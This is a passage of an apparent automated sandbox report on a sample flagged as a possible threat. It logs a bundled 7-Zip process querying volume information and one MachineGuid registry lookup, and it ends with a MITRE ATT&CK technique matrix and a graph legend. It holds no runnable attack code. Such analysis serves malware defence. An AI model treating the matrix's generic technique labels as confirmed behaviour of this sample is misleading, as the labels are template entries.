                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\az.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ba.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\be.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\bg.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\bn.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\br.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ca.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\co.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\cs.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\cy.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\da.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\de.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\el.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\en.ttt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\eo.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\es.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\et.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\eu.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ext.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fa.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fi.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fr.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fur.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fy.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ga.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\gl.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\gu.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\he.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hi.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hr.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hu.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hy.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\id.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\io.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\is.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\it.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ja.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ka.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kaa.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kab.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\kk.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ko.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ku-ckb.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ku.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ky.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lij.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lt.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lv.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mk.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mn.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mng.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mng2.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mr.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ms.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nb.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ne.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nl.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nn.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pa-in.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pl.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ps.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pt-br.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pt.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ro.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ru.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sa.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\si.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sk.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sl.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sq.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sr-spc.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sr-spl.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sv.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ta.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\th.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\tr.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\tt.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ug.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\uk.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\uz.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\va.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\vi.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\yo.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\zh-cn.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\zh-tw.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\License.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\readme.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon.ico VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_128.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_16.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_32.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appicon_75.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appinfo.ini VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\7-ZipPortable.ini VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\Custom.nsh VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\Launcher\splash.jpg VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\pac_installer_log.ini VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\7zip_portable.reg VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\settings_readme.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\readme.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\help.html VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Donation_Button.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Favicon.ico VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Background_Footer.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Background_Header.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Logo_Top.png VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\AppNamePortable.ini VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\LauncherLicense.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\PortableApps.comInstallerCustom.nsh VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\Readme.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\log.txt VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeQueries volume information: C:\Users\user\TMP\cr-20241021-53901\null VolumeInformationJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C586FB GetSystemTimeAsFileTime,10_2_00C586FB
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00407551 LoadLibraryA,GetProcAddress,GetVersionExA,0_2_00407551
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information1
                  Scripting                  		Valid Accounts11
                  Windows Management Instrumentation                  		1
                  Scripting                  		1
                  DLL Side-Loading                  		1
                  Disable or Modify Tools                  		1
                  Input Capture                  		1
                  System Time Discovery                  		Remote Services1
                  Archive Collected Data                  		14
                  Ingress Tool Transfer                  		Exfiltration Over Other Network Medium1
                  Data Encrypted for Impact
                  CredentialsDomainsDefault Accounts1
                  Native API                  		1
                  DLL Side-Loading                  		1
                  Extra Window Memory Injection                  		11
                  Deobfuscate/Decode Files or Information                  		LSASS Memory5
                  File and Directory Discovery                  		Remote Desktop Protocol1
                  Input Capture                  		12
                  Encrypted Channel                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts12
                  Command and Scripting Interpreter                  		Logon Script (Windows)1
                  Access Token Manipulation                  		2
                  Obfuscated Files or Information                  		Security Account Manager27
                  System Information Discovery                  		SMB/Windows Admin SharesData from Network Shared Drive4
                  Non-Application Layer Protocol                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook11
                  Process Injection                  		1
                  DLL Side-Loading                  		NTDS11
                  Security Software Discovery                  		Distributed Component Object ModelInput Capture15
                  Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  Extra Window Memory Injection                  		LSA Secrets2
                  Virtualization/Sandbox Evasion                  		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
                  Masquerading                  		Cached Domain Credentials1
                  Process Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                  Virtualization/Sandbox Evasion                  		DCSync1
                  Application Window Discovery                  		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                  Access Token Manipulation                  		Proc Filesystem11
                  Remote System Discovery                  		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
                  Process Injection                  		/etc/passwd and /etc/shadow1
                  System Network Configuration Discovery                  		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
